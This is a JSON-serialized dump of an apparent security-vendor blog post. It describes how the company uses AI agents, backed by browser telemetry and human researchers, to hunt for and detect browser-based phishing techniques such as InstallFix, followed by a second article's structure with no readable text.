researchers, but by continuously activating their expertise. You can hear what our CEO and Co-founder Adam had to say about this below. ",{"data":18704,"content":18708,"nodeType":996},{"target":18705},{"sys":18706},{"id":18707,"type":1001,"linkType":1002},"C9gr4nF3f6CW45Aol9xij",[],{"data":18710,"content":18711,"nodeType":1005},{},[],{"data":18713,"content":18714,"nodeType":1009},{},[18715],{"data":18716,"marks":18717,"value":18719,"nodeType":864},{},[18718],{"type":899},"Core principles for agentic threat hunting",{"data":18721,"content":18722,"nodeType":860},{},[18723],{"data":18724,"marks":18725,"value":18726,"nodeType":864},{},[],"Three principles make Push's agentic threat hunting and detection engineering pipeline work:",{"data":18728,"content":18729,"nodeType":1312},{},[18730],{"data":18731,"marks":18732,"value":18734,"nodeType":864},{},[18733],{"type":899},"Context matters more than custom models",{"data":18736,"content":18737,"nodeType":860},{},[18738],{"data":18739,"marks":18740,"value":18741,"nodeType":864},{},[],"We’re not AI researchers; we’re security researchers — we aren't trying to compete in building the most intelligent models. And in our view, AI models are quickly becoming commoditized like cloud infrastructure, anyway. Luckily, the commercial models today already excel at understanding web code. We just need to harness their power with our expertise.",{"data":18743,"content":18744,"nodeType":860},{},[18745,18749,18753],{"data":18746,"marks":18747,"value":18748,"nodeType":864},{},[],"So at Push, we use a variety of commercial AI models and tools in complementary ways. What matters most is the telemetry they analyze, and that’s where Push’s existing product infrastructure shines: We’re already deployed into over ",{"data":18750,"marks":18751,"value":12271,"nodeType":864},{},[18752],{"type":899},{"data":18754,"marks":18755,"value":18756,"nodeType":864},{},[],", and the Push browser extension includes a component that operates as a flight recorder to locally record everything that matters inside a browser session.",{"data":18758,"content":18759,"nodeType":860},{},[18760],{"data":18761,"marks":18762,"value":18763,"nodeType":864},{},[],"This universe of metadata — DOM elements, tab context, script execution, network traffic, user actions, credential entry, etc. — becomes the searchable corpus for hunts. Metadata is stored locally in users’ browsers and only queried during targeted threat hunts. ",{"data":18765,"content":18766,"nodeType":860},{},[18767],{"data":18768,"marks":18769,"value":18770,"nodeType":864},{},[],"This approach avoids dragnet collection of sensitive data. Instead, we focus on collecting metadata and distilling that into patterns and insights that provide context for agents to perform their analysis. This means that Push also does not train or fine-tune models on customer data.",{"data":18772,"content":18773,"nodeType":1312},{},[18774],{"data":18775,"marks":18776,"value":18778,"nodeType":864},{},[18777],{"type":899},"Agents are only as good as the context you give them. Good context is researcher-led",{"data":18780,"content":18781,"nodeType":860},{},[18782],{"data":18783,"marks":18784,"value":18785,"nodeType":864},{},[],"AI agents don’t know how to identify the TTPs of browser-based attacks until you give them the right context, and Push researchers have spent years unpacking these techniques and tools. Agents at Push consume our internal knowledge base of identified TTPs, and both humans and agents perform meta-analyses to check their work. The agents have access to large libraries of traces of human interactions with real phishing kits. This is a powerful dataset to build on.",{"data":18787,"content":18788,"nodeType":860},{},[18789],{"data":18790,"marks":18791,"value":18792,"nodeType":864},{},[],"When we don’t get the results we want from AI models, the question is “What context is it missing? What does our human team know that the agents don’t, and how can we give them that context — do they need data, tools, better workflows?” That closes the gap in performance and keeps quality high.",{"data":18794,"content":18795,"nodeType":1312},{},[18796],{"data":18797,"marks":18798,"value":18800,"nodeType":864},{},[18799],{"type":899},"Integrated architecture that makes agentic AI the throughput layer, not a bolt-on",{"data":18802,"content":18803,"nodeType":860},{},[18804],{"data":18805,"marks":18806,"value":18807,"nodeType":864},{},[],"The constraint we’re trying to break by using AI isn’t knowledge, it’s throughput. Our researchers deeply understand the techniques and tools. An agentic pipeline can apply that understanding continuously across millions of browsers and trillions of events, ingest new external signals, generate hunt hypotheses, triage results, and return only the findings that warrant escalation.",{"data":18809,"content":18810,"nodeType":860},{},[18811],{"data":18812,"marks":18813,"value":18814,"nodeType":864},{},[],"This approach relies on tight integration of our product and our agentic workflows. We’ll take a closer look at that in the next section.",{"data":18816,"content":18817,"nodeType":1005},{},[],{"data":18819,"content":18820,"nodeType":1009},{},[18821],{"data":18822,"marks":18823,"value":18825,"nodeType":864},{},[18824],{"type":899},"How the agentic detection pipeline runs",{"data":18827,"content":18828,"nodeType":860},{},[18829],{"data":18830,"marks":18831,"value":18832,"nodeType":864},{},[],"Now let’s look at how agentic threat detection actually works, and some of the emerging best practices we’ve identified. We'll cover two example hunts, one initiated autonomously by the agents themselves, and one by our research team. ",{"data":18834,"content":18835,"nodeType":1312},{},[18836],{"data":18837,"marks":18838,"value":18840,"nodeType":864},{},[18839],{"type":899},"Example 1: Autonomous threat hunt",{"data":18842,"content":18843,"nodeType":860},{},[18844],{"data":18845,"marks":18846,"value":18847,"nodeType":864},{},[],"Push’s threat hunting pipeline ingested context from research articles describing a new attack technique, and an agent developed hypotheses on what to hunt for across Push’s install base to identify instances of this attack. ",{"data":18849,"content":18850,"nodeType":860},{},[18851],{"data":18852,"marks":18853,"value":18854,"nodeType":864},{},[],"The agent crafted detection queries and then refined them to reduce false positives. The successful query ran across stored metadata and returned results, validating that there were zero false positives. ",{"data":18856,"content":18857,"nodeType":860},{},[18858],{"data":18859,"marks":18860,"value":18861,"nodeType":864},{},[],"The validated query became a scheduled job that runs on a regular cadence to monitor for potentially malicious signals. A triage agent then received any matches, did an initial analysis, and passed anything that looked suspicious to another agent to perform deeper analysis. This deep analysis agent wields the full investigative toolkit that a human researcher would — using Push’s internal knowledge base, domain age and registration analysis, URLScan and whois lookups, DOM image analysis, and contextual analysis of page-level and user-level behaviors, etc.",{"data":18863,"content":18864,"nodeType":860},{},[18865],{"data":18866,"marks":18867,"value":18868,"nodeType":864},{},[],"Within a few minutes, it can filter a thousand or more signals in a hunt trace down to a handful with meaning and provide an actionable assessment. Then, once the TTP was well-understood, other agents wrote and refined detections that can raise alerts for customers when an event of this type is seen. The Push platform immediately applies the customer’s configured security controls, such as blocking users from interacting with malicious pages.",{"data":18870,"content":18871,"nodeType":1312},{},[18872],{"data":18873,"marks":18874,"value":18876,"nodeType":864},{},[18875],{"type":899},"Example 2: Human-initiated threat hunt",{"data":18878,"content":18879,"nodeType":860},{},[18880],{"data":18881,"marks":18882,"value":18883,"nodeType":864},{},[],"Now, going back to the example from the beginning of the article: InstallFix. This hunt started with a thorny problem our research team needed to solve: How to detect bad things downstream of a user interacting with a Google ad? We needed a way to pinpoint the bad links from the good ones.",{"data":18885,"content":18886,"nodeType":860},{},[18887,18891,18896,18899,18904,18907,18912],{"data":18888,"marks":18889,"value":18890,"nodeType":864},{},[],"Our researchers collaborated with agents to formulate the right parameters for hunt queries, taking into account that good ads are normally bought by companies with marketing budgets, so therefore ads will be expected to redirect to pages hosted on custom domains, not shared domains like ",{"data":18892,"marks":18893,"value":18895,"nodeType":864},{},[18894],{"type":899},"*pages.dev",{"data":18897,"marks":18898,"value":3731,"nodeType":864},{},[],{"data":18900,"marks":18901,"value":18903,"nodeType":864},{},[18902],{"type":899},"*workers.dev",{"data":18905,"marks":18906,"value":3731,"nodeType":864},{},[],{"data":18908,"marks":18909,"value":18911,"nodeType":864},{},[18910],{"type":899},"*squarespace.com",{"data":18913,"marks":18914,"value":18915,"nodeType":864},{},[],", etc.",{"data":18917,"content":18918,"nodeType":860},{},[18919],{"data":18920,"marks":18921,"value":18922,"nodeType":864},{},[],"Our AI agents already understood key TTPs that indicated potential maliciousness on a page: password prompts, file downloads, OAuth integrations, clipboard copies, and similar user prompts that are frequently abused.",{"data":18924,"content":18925,"nodeType":860},{},[18926],{"data":18927,"marks":18928,"value":18929,"nodeType":864},{},[],"The agent ran several queries that returned matching browsing traces — the term we use for sequences of events in a session or tab context — where the user clicked a Google ad, was redirected to a page on a shared hosting domain, and then clicked a button to copy content to their clipboard.",{"data":18931,"content":18935,"nodeType":996},{"target":18932},{"sys":18933},{"id":18934,"type":1001,"linkType":1002},"4IWOrWuvbwzWRJUkINiwKH",[],{"data":18937,"content":18938,"nodeType":860},{},[18939],{"data":18940,"marks":18941,"value":18942,"nodeType":864},{},[],"We got back high-fidelity findings and then tuned the query into a continuous detection that leveraged existing detection logic around related techniques. This process also effectively back-tests new detections, so we know we’re not going to generate a lot of false positives. Result: A new detection against a new technique, plus several improvements to existing detections.",{"data":18944,"content":18945,"nodeType":1312},{},[18946],{"data":18947,"marks":18948,"value":18950,"nodeType":864},{},[18949],{"type":899},"What infrastructure is needed for agentic threat hunting?",{"data":18952,"content":18953,"nodeType":860},{},[18954],{"data":18955,"marks":18956,"value":18957,"nodeType":864},{},[],"Both of these examples illustrate the end-to-end workflows supported by this pipeline. From an infrastructure perspective, you can think about the pipeline as composed of:",{"data":18959,"content":18960,"nodeType":941},{},[18961,18976,18991,19006,19021],{"data":18962,"content":18963,"nodeType":945},{},[18964],{"data":18965,"content":18966,"nodeType":860},{},[18967,18972],{"data":18968,"marks":18969,"value":18971,"nodeType":864},{},[18970],{"type":899},"A flight recorder: ",{"data":18973,"marks":18974,"value":18975,"nodeType":864},{},[],"The Push extension-powered capability that collects and locally stores browser event metadata from users’ browsers.",{"data":18977,"content":18978,"nodeType":945},{},[18979],{"data":18980,"content":18981,"nodeType":860},{},[18982,18987],{"data":18983,"marks":18984,"value":18986,"nodeType":864},{},[18985],{"type":899},"A knowledge base:",{"data":18988,"marks":18989,"value":18990,"nodeType":864},{},[]," Structured knowledge about what Push knows about TTPs and its existing body of detection logic, as well as externally sourced signals of new attack trends.",{"data":18992,"content":18993,"nodeType":945},{},[18994],{"data":18995,"content":18996,"nodeType":860},{},[18997,19002],{"data":18998,"marks":18999,"value":19001,"nodeType":864},{},[19000],{"type":899},"Agents as tools: ",{"data":19003,"marks":19004,"value":19005,"nodeType":864},{},[],"Role-segmented agents that work as a team to triage, investigate, develop hunt queries, return analyses, write detections, and review each others’ work for completeness and accuracy.",{"data":19007,"content":19008,"nodeType":945},{},[19009],{"data":19010,"content":19011,"nodeType":860},{},[19012,19017],{"data":19013,"marks":19014,"value":19016,"nodeType":864},{},[19015],{"type":899},"Humans in the loop: ",{"data":19018,"marks":19019,"value":19020,"nodeType":864},{},[],"Human researchers who collaborate with agents to initiate hunts and tune detections.",{"data":19022,"content":19023,"nodeType":945},{},[19024],{"data":19025,"content":19026,"nodeType":860},{},[19027,19032],{"data":19028,"marks":19029,"value":19031,"nodeType":864},{},[19030],{"type":899},"Platform controls: ",{"data":19033,"marks":19034,"value":19035,"nodeType":864},{},[],"The Push administrator-configured controls that specify how to respond to detected events like AiTM phishing, tuneable by scope, user groups, browser profiles, apps, etc.",{"data":19037,"content":19041,"nodeType":996},{"target":19038},{"sys":19039},{"id":19040,"type":1001,"linkType":1002},"7FY0vCBUXOt4vnudFuKALC",[],{"data":19043,"content":19044,"nodeType":1312},{},[19045],{"data":19046,"marks":19047,"value":19049,"nodeType":864},{},[19048],{"type":899},"What are the best practices for agentic threat detection?",{"data":19051,"content":19052,"nodeType":860},{},[19053,19057,19062],{"data":19054,"marks":19055,"value":19056,"nodeType":864},{},[],"To be effective, agents must specialize and focus. This is the ",{"data":19058,"marks":19059,"value":19061,"nodeType":864},{},[19060],{"type":899},"agents as tools",{"data":19063,"marks":19064,"value":19065,"nodeType":864},{},[]," concept. When we’re asking AI agents to take massive amounts of data and make a high-level decision about a signal in observed browser events, they must work as a team, finding intelligent ways to condense information without losing important context or hallucinating.",{"data":19067,"content":19068,"nodeType":860},{},[19069],{"data":19070,"marks":19071,"value":19072,"nodeType":864},{},[],"Creating a hierarchy of agent jobs — including agents to perform meta-analyses to catch mistakes and verify conclusions — makes the agents effective by giving them a manageable focus that controls the size of context windows.",{"data":19074,"content":19078,"nodeType":996},{"target":19075},{"sys":19076},{"id":19077,"type":1001,"linkType":1002},"3fzJCknMUmh4Z7YnhBSbsT",[],{"data":19080,"content":19081,"nodeType":860},{},[19082],{"data":19083,"marks":19084,"value":19085,"nodeType":864},{},[],"Creating an agentic workflow requires operationalizing your internal knowledge in a repeatable and trustworthy way. Sharing rich context from human discoveries is the key to getting the best results out of agents. ",{"data":19087,"content":19088,"nodeType":860},{},[19089,19093,19098],{"data":19090,"marks":19091,"value":19092,"nodeType":864},{},[],"It's vital too that the agent uses ",{"data":19094,"marks":19095,"value":19097,"nodeType":864},{},[19096],{"type":899},"privacy-preserving methods and infrastructure.",{"data":19099,"marks":19100,"value":19101,"nodeType":864},{},[]," The Push agent is designed to respect customer and user privacy while enabling high-fidelity detections. We do this by collecting broad browser metadata but storing it locally in users’ browsers and only querying that metadata during active threat hunting investigations.",{"data":19103,"content":19104,"nodeType":1005},{},[],{"data":19106,"content":19107,"nodeType":1009},{},[19108],{"data":19109,"marks":19110,"value":19112,"nodeType":864},{},[19111],{"type":899},"The compounding effect and how it benefits Push customers",{"data":19114,"content":19115,"nodeType":860},{},[19116],{"data":19117,"marks":19118,"value":19119,"nodeType":864},{},[],"At Push, we think about our detection capability as two learning loops with a compounding effect: An inner loop that serves as our real-time detection and response engine for known attacker techniques, and an outer loop that is the continuous learning our agents do as they hunt for new threats, analyze emerging behaviors, and create new detections. ",{"data":19121,"content":19122,"nodeType":860},{},[19123],{"data":19124,"marks":19125,"value":19126,"nodeType":864},{},[],"The outer loop feeds the inner loop, and vice versa.",{"data":19128,"content":19132,"nodeType":996},{"target":19129},{"sys":19130},{"id":19131,"type":1001,"linkType":1002},"1Jjqll7IIX2QRxN37gjFMH",[],{"data":19134,"content":19135,"nodeType":860},{},[19136],{"data":19137,"marks":19138,"value":19139,"nodeType":864},{},[],"Customers benefit from this approach because it means they:",{"data":19141,"content":19142,"nodeType":941},{},[19143,19164,19174],{"data":19144,"content":19145,"nodeType":945},{},[19146],{"data":19147,"content":19148,"nodeType":860},{},[19149,19153,19160],{"data":19150,"marks":19151,"value":19152,"nodeType":864},{},[],"Regularly receive ready-made detections against both known and emerging browser-based threats, without having to write their own detections. (Push also provides the ability to write your own ",{"data":19154,"content":19156,"nodeType":883},{"uri":19155},"/help/audience/engineering/resources/custom-detections",[19157],{"data":19158,"marks":19159,"value":1578,"nodeType":864},{},[],{"data":19161,"marks":19162,"value":19163,"nodeType":864},{},[],", too, for environment-specific use cases.)",{"data":19165,"content":19166,"nodeType":945},{},[19167],{"data":19168,"content":19169,"nodeType":860},{},[19170],{"data":19171,"marks":19172,"value":19173,"nodeType":864},{},[],"Can configure Push’s response actions based on their security goals and environment. Agents act as the threat-hunting and detection engineering team; Push customers set the thresholds for how they want to respond. For example, customers can use Push controls to block all AiTM phishing attacks (or even carve out exceptions for their own incident responders to be able to visit malicious pages with just a warning), and agents continually feed new indicators into detection logic for that class of attack.",{"data":19175,"content":19176,"nodeType":945},{},[19177],{"data":19178,"content":19179,"nodeType":860},{},[19180],{"data":19181,"marks":19182,"value":19183,"nodeType":864},{},[],"Get pre-digested and actionable intelligence from every detection, with extremely high fidelity.",{"data":19185,"content":19186,"nodeType":860},{},[19187],{"data":19188,"marks":19189,"value":19190,"nodeType":864},{},[],"This all equates to your own advanced browser threat protection, without requiring the specialized in-house expertise we’ve spent years building.",{"data":19192,"content":19193,"nodeType":860},{},[19194],{"data":19195,"marks":19196,"value":19197,"nodeType":864},{},[],"If you’re a Push customer, you already know that we regularly collaborate with security teams to identify and refine detection use cases, and assist with investigations. In the past few months alone, we’ve worked closely with teams targeted by device code phishing, and InstallFix and ClickFix campaigns, among others. ",{"data":19199,"content":19200,"nodeType":860},{},[19201],{"data":19202,"marks":19203,"value":19204,"nodeType":864},{},[],"If you’re not a customer and are curious about how Push’s agentic threat hunting and detection engineering capabilities can address your use cases, please get in touch.",{"data":19206,"content":19210,"nodeType":996},{"target":19207},{"sys":19208},{"id":19209,"type":1001,"linkType":1002},"607jrBjlD1vtcbkDfD04DE",[],{"data":19212,"content":19213,"nodeType":1005},{},[],{"data":19215,"content":19216,"nodeType":1009},{},[19217],{"data":19218,"marks":19219,"value":19221,"nodeType":864},{},[19220],{"type":899},"Learn more",{"data":19223,"content":19224,"nodeType":860},{},[19225],{"data":19226,"marks":19227,"value":1682,"nodeType":864},{},[],{"data":19229,"content":19230,"nodeType":860},{},[19231],{"data":19232,"marks":19233,"value":1689,"nodeType":864},{},[],{"data":19235,"content":19236,"nodeType":860},{},[19237,19240,19247],{"data":19238,"marks":19239,"value":2707,"nodeType":864},{},[],{"data":19241,"content":19243,"nodeType":883},{"uri":19242},"/demo",[19244],{"data":19245,"marks":19246,"value":2715,"nodeType":864},{},[],{"data":19248,"marks":19249,"value":2719,"nodeType":864},{},[],"Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline","How we built an end-to-end threat hunting and detection engineering capability at Push that uses AI agents as a force multiplier.","2026-05-12T00:00:00.000Z","can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline",{"items":19255},[19256,19258],{"sys":19257,"name":6593},{"id":6592},{"sys":19259,"name":342},{"id":6596},{"items":19261},[19262],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":19263},{"url":853},{"__typename":2059,"sys":19265,"content":19266,"title":2720,"synopsis":2721,"hashTags":59,"publishedDate":2722,"slug":2723,"tagsCollection":19827,"authorsCollection":19833},{"id":2061},{"json":19267},{"data":19268,"content":19269,"nodeType":856},{},[19270,19276,19282,19288,19293,19296,19303,19309,19338,19344,19368,19373,19376,19383,19389,19396,19430,19435,19441,19446,19449,19456,19462,19469,19475,19481,19494,19501,19521,19527,19532,19538,19545,19558,19580,19585,19600,19605,19612,19618,19638,19644,19650,19656,19661,19664,19671,19677,19683,19698,19705,19711,19718,19737,19747,19752,19755,19762,19768,19774,19780,19796,19799,19805,19811],{"data":19271,"content":19272,"nodeType":860},{},[19273],{"data":19274,"marks":19275,"value":2072,"nodeType":864},{},[],{"data":19277,"content":19278,"nodeType":860},{},[19279],{"data":19280,"marks":19281,"value":2079,"nodeType":864},{},[],{"data":19283,"content":19284,"nodeType":860},{},[19285],{"data":19286,"marks":19287,"value":2086,"nodeType":864},{},[],{"data":19289,"content":19292,"nodeType":996},{"target":19290},{"sys":19291},{"id":2091,"type":1001,"linkType":1002},[],{"data":19294,"content":19295,"nodeType":1005},{},[],{"data":19297,"content":19298,"nodeType":1009},{},[19299],{"data":19300,"marks":19301,"value":2103,"nodeType":864},{},[19302],{"type":899},{"data":19304,"content":19305,"nodeType":860},{},[19306],{"data":19307,"marks":19308,"value":2110,"nodeType":864},{},[],{"data":19310,"content":19311,"nodeType":941},{},[19312,19325],{"data":19313,"content":19314,"nodeType":945},{},[19315],{"data":19316,"content":19317,"nodeType":860},{},[19318,19322],{"data":19319,"marks":19320,"value":2124,"nodeType":864},{},[19321],{"type":899},{"data":19323,"marks":19324,"value":2128,"nodeType":864},{},[],{"data":19326,"content":19327,"nodeType":945},{},[19328],{"data":19329,"content":19330,"nodeType":860},{},[19331,19335],{"data":19332,"marks":19333,"value":2139,"nodeType":864},{},[19334],{"type":899},{"data":19336,"marks":19337,"value":2143,"nodeType":864},{},[],{"data":19339,"content":19340,"nodeType":860},{},[19341],{"data":19342,"marks":19343,"value":2150,"nodeType":864},{},[],{"data":19345,"content":19346,"nodeType":860},{},[19347,19350,19356,19359,19365],{"data":19348,"marks":19349,"value":2157,"nodeType":864},{},[],{"data":19351,"content":19352,"nodeType":883},{"uri":1543},[19353],{"data":19354,"marks":19355,"value":1758,"nodeType":864},{},[],{"data":19357,"marks":19358,"value":1762,"nodeType":864},{},[],{"data":19360,"content":19361,"nodeType":883},{"uri":1765},[19362],{"data":19363,"marks":19364,"value":1770,"nodeType":864},{},[],{"data":19366,"marks":19367,"value":1774,"nodeType":864},{},[],{"data":19369,"content":19372,"nodeType":996},{"target":19370},{"sys":19371},{"id":2180,"type":1001,"linkType":1002},[],{"data":19374,"content":19375,"nodeType":1005},{},[],{"data":19377,"content":19378,"nodeType":1009},{},[19379],{"data":19380,"marks":19381,"value":2192,"nodeType":864},{},[19382],{"type":899},{"data":19384,"content":19385,"nodeType":860},{},[19386],{"data":19387,"marks":19388,"value":2199,"nodeType":864},{},[],{"data":19390,"content":19391,"nodeType":860},{},[19392],{"data":19393,"marks":19394,"value":2207,"nodeType":864},{},[19395],{"type":899},{"data":19397,"content":19398,"nodeType":860},{},[19399,19402,19406,19409,19413,19416,19420,19423,19427],{"data":19400,"marks":19401,"value":2214,"nodeType":864},{},[],{"data":19403,"marks":19404,"value":2219,"nodeType":864},{},[19405],{"type":899},{"data":19407,"marks":19408,"value":2223,"nodeType":864},{},[],{"data":19410,"marks":19411,"value":2228,"nodeType":864},{},[19412],{"type":899},{"data":19414,"marks":19415,"value":2232,"nodeType":864},{},[],{"data":19417,"marks":19418,"value":2237,"nodeType":864},{},[19419],{"type":899},{"data":19421,"marks":19422,"value":2241,"nodeType":864},{},[],{"data":19424,"marks":19425,"value":2247,"nodeType":864},{},[19426],{"type":2246},{"data":19428,"marks":19429,"value":2251,"nodeType":864},{},[],{"data":19431,"content":19434,"nodeType":996},{"target":19432},{"sys":19433},{"id":2256,"type":1001,"linkType":1002},[],{"data":19436,"content":19437,"nodeType":860},{},[19438],{"data":19439,"marks":19440,"value":2264,"nodeType":864},{},[],{"data":19442,"content":19445,"nodeType":996},{"target":19443},{"sys":19444},{"id":1040,"type":1001,"linkType":1002},[],{"data":19447,"content":19448,"nodeType":1005},{},[],{"data":19450,"content":19451,"nodeType":1009},{},[19452],{"data":19453,"marks":19454,"value":2280,"nodeType":864},{},[19455],{"type":899},{"data":19457,"content":19458,"nodeType":860},{},[19459],{"data":19460,"marks":19461,"value":2287,"nodeType":864},{},[],{"data":19463,"content":19464,"nodeType":1312},{},[19465],{"data":19466,"marks":19467,"value":2295,"nodeType":864},{},[19468],{"type":899},{"data":19470,"content":19471,"nodeType":860},{},[19472],{"data":19473,"marks":19474,"value":2302,"nodeType":864},{},[],{"data":19476,"content":19477,"nodeType":860},{},[19478],{"data":19479,"marks":19480,"value":2309,"nodeType":864},{},[],{"data":19482,"content":19483,"nodeType":860},{},[19484,19487,19491],{"data":19485,"marks":19486,"value":2316,"nodeType":864},{},[],{"data":19488,"marks":19489,"value":2321,"nodeType":864},{},[19490],{"type":899},{"data":19492,"marks":19493,"value":2325,"nodeType":864},{},[],{"data":19495,"content":19496,"nodeType":1312},{},[19497],{"data":19498,"marks":19499,"value":2333,"nodeType":864},{},[19500],{"type":899},{"data":19502,"content":19503,"nodeType":860},{},[19504,19507,19511,19514,19518],{"data":19505,"marks":19506,"value":2340,"nodeType":864},{},[],{"data":19508,"marks":19509,"value":2345,"nodeType":864},{},[19510],{"type":899},{"data":19512,"marks":19513,"value":2349,"nodeType":864},{},[],{"data":19515,"marks":19516,"value":2354,"nodeType":864},{},[19517],{"type":899},{"data":19519,"marks":19520,"value":2358,"nodeType":864},{},[],{"data":19522,"content":19523,"nodeType":860},{},[19524],{"data":19525,"marks":19526,"value":2365,"nodeType":864},{},[],{"data":19528,"content":19531,"nodeType":996},{"target":19529},{"sys":19530},{"id":2370,"type":1001,"linkType":1002},[],{"data":19533,"content":19534,"nodeType":860},{},[19535],{"data":19536,"marks":19537,"value":2378,"nodeType":864},{},[],{"data":19539,"content":19540,"nodeType":1312},{},[19541],{"data":19542,"marks":19543,"value":2386,"nodeType":864},{},[19544],{"type":899},{"data":19546,"content":19547,"nodeType":860},{},[19548,19551,19555],{"data":19549,"marks":19550,"value":2393,"nodeType":864},{},[],{"data":19552,"marks":19553,"value":2228,"nodeType":864},{},[19554],{"type":899},{"data":19556,"marks":19557,"value":2401,"nodeType":864},{},[],{"data":19559,"content":19560,"nodeType":860},{},[19561,19564,19570,19573,19577],{"data":19562,"marks":19563,"value":2408,"nodeType":864},{},[],{"data":19565,"content":19566,"nodeType":883},{"uri":2411},[19567],{"data":19568,"marks":19569,"value":2416,"nodeType":864},{},[],{"data":19571,"marks":19572,"value":2420,"nodeType":864},{},[],{"data":19574,"marks":19575,"value":2425,"nodeType":864},{},[19576],{"type":899},{"data":19578,"marks":19579,"value":2429,"nodeType":864},{},[],{"data":19581,"content":19584,"nodeType":996},{"target":19582},{"sys":19583},{"id":2434,"type":1001,"linkType":1002},[],{"data":19586,"content":19587,"nodeType":860},{},[19588,19591,19597],{"data":19589,"marks":19590,"value":2442,"nodeType":864},{},[],{"data":19592,"content":19593,"nodeType":883},{"uri":2411},[19594],{"data":19595,"marks":19596,"value":2449,"nodeType":864},{},[],{"data":19598,"marks":19599,"value":2453,"nodeType":864},{},[],{"data":19601,"content":19604,"nodeType":996},{"target":19602},{"sys":19603},{"id":2458,"type":1001,"linkType":1002},[],{"data":19606,"content":19607,"nodeType":1312},{},[19608],{"data":19609,"marks":19610,"value":2467,"nodeType":864},{},[19611],{"type":899},{"data":19613,"content":19614,"nodeType":860},{},[19615],{"data":19616,"marks":19617,"value":2474,"nodeType":864},{},[],{"data":19619,"content":19620,"nodeType":860},{},[19621,19624,19628,19631,19635],{"data":19622,"marks":19623,"value":2481,"nodeType":864},{},[],{"data":19625,"marks":19626,"value":2486,"nodeType":864},{},[19627],{"type":899},{"data":19629,"marks":19630,"value":2490,"nodeType":864},{},[],{"data":19632,"marks":19633,"value":2495,"nodeType":864},{},[19634],{"type":2246},{"data":19636,"marks":19637,"value":2499,"nodeType":864},{},[],{"data":19639,"content":19640,"nodeType":860},{},[19641],{"data":19642,"marks":19643,"value":2506,"nodeType":864},{},[],{"data":19645,"content":19646,"nodeType":860},{},[19647],{"data":19648,"marks":19649,"value":2513,"nodeType":864},{},[],{"data":19651,"content":19652,"nodeType":860},{},[19653],{"data":19654,"marks":19655,"value":2520,"nodeType":864},{},[],{"data":19657,"content":19660,"nodeType":996},{"target":19658},{"sys":19659},{"id":2525,"type":1001,"linkType":1002},[],{"data":19662,"content":19663,"nodeType":1005},{},[],{"data":19665,"content":19666,"nodeType":1009},{},[19667],{"data":19668,"marks":19669,"value":2537,"nodeType":864},{},[19670],{"type":899},{"data":19672,"content":19673,"nodeType":860},{},[19674],{"data":19675,"marks":19676,"value":2544,"nodeType":864},{},[],{"data":19678,"content":19679,"nodeType":860},{},[19680],{"data":19681,"marks":19682,"value":2551,"nodeType":864},{},[],{"data":19684,"content":19685,"nodeType":860},{},[19686,19689,19695],{"data":19687,"marks":19688,"value":2558,"nodeType":864},{},[],{"data":19690,"content":19691,"nodeType":883},{"uri":2561},[19692],{"data":19693,"marks":19694,"value":2566,"nodeType":864},{},[],{"data":19696,"marks":19697,"value":2570,"nodeType":864},{},[],{"data":19699,"content":19700,"nodeType":1312},{},[19701],{"data":19702,"marks":19703,"value":2578,"nodeType":864},{},[19704],{"type":899},{"data":19706,"content":19707,"nodeType":860},{},[19708],{"data":19709,"marks":19710,"value":2585,"nodeType":864},{},[],{"data":19712,"content":19713,"nodeType":860},{},[19714],{"data":19715,"marks":19716,"value":2593,"nodeType":864},{},[19717],{"type":899},{"data":19719,"content":19720,"nodeType":860},{},[19721,19725,19728,19734],{"data":19722,"marks":19723,"value":2601,"nodeType":864},{},[19724],{"type":899},{"data":19726,"marks":19727,"value":2605,"nodeType":864},{},[],{"data":19729,"content":19730,"nodeType":883},{"uri":2411},[19731],{"data":19732,"marks":19733,"value":2612,"nodeType":864},{},[],{"data":19735,"marks":19736,"value":2616,"nodeType":864},{},[],{"data":19738,"content":19739,"nodeType":860},{},[19740,19744],{"data":19741,"marks":19742,"value":2624,"nodeType":864},{},[19743],{"type":899},{"data":19745,"marks":19746,"value":2628,"nodeType":864},{},[],{"data":19748,"content":19751,"nodeType":996},{"target":19749},{"sys":19750},{"id":2633,"type":1001,"linkType":1002},[],{"data":19753,"content":19754,"nodeType":1005},{},[],{"data":19756,"content":19757,"nodeType":1009},{},[19758],{"data":19759,"marks":19760,"value":2645,"nodeType":864},{},[19761],{"type":899},{"data":19763,"content":19764,"nodeType":860},{},[19765],{"data":19766,"marks":19767,"value":2652,"nodeType":864},{},[],{"data":19769,"content":19770,"nodeType":860},{},[19771],{"data":19772,"marks":19773,"value":2659,"nodeType":864},{},[],{"data":19775,"content":19776,"nodeType":860},{},[19777],{"data":19778,"marks":19779,"value":2666,"nodeType":864},{},[],{"data":19781,"content":19782,"nodeType":860},{},[19783,19786,19793],{"data":19784,"marks":19785,"value":2673,"nodeType":864},{},[],{"data":19787,"content":19788,"nodeType":883},{"uri":2676},[19789],{"data":19790,"marks":19791,"value":580,"nodeType":864},{},[19792],{"type":1455},{"data":19794,"marks":19795,"value":2685,"nodeType":864},{},[],{"data":19797,"content":19798,"nodeType":1005},{},[],{"data":19800,"content":19801,"nodeType":860},{},[19802],{"data":19803,"marks":19804,"value":1682,"nodeType":864},{},[],{"data":19806,"content":19807,"nodeType":860},{},[19808],{"data":19809,"marks":19810,"value":1689,"nodeType":864},{},[],{"data":19812,"content":19813,"nodeType":860},{},[19814,19817,19824],{"data":19815,"marks":19816,"value":2707,"nodeType":864},{},[],{"data":19818,"content":19819,"nodeType":883},{"uri":1700},[19820],{"data":19821,"marks":19822,"value":2715,"nodeType":864},{},[19823],{"type":1455},{"data":19825,"marks":19826,"value":2719,"nodeType":864},{},[],{"items":19828},[19829,19831],{"sys":19830,"name":2729},{"id":2728},{"sys":19832,"name":297},{"id":2732},{"items":19834},[19835],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":19836},{"url":2740},{"__typename":2059,"sys":19838,"content":19839,"title":7391,"synopsis":7392,"hashTags":59,"publishedDate":7393,"slug":7394,"tagsCollection":20508,"authorsCollection":20514},{"id":6603},{"json":19840},{"data":19841,"content":19842,"nodeType":856},{},[19843,19849,19855,19879,19885,19890,19895,19905,19908,19915,19928,19934,19939,19945,19951,19956,19959,19966,19972,19977,19982,19988,19994,20009,20014,20017,20024,20039,20044,20050,20053,20060,20066,20072,20077,20082,20116,20122,20125,20132,20138,20144,20177,20183,20207,20213,20246,20252,20255,20262,20277,20283,20290,20303,20309,20324,20330,20333,20339,20345,20361,20364,20371,20386,20392,20502],{"data":19844,"content":19845,"nodeType":860},{},[19846],{"data"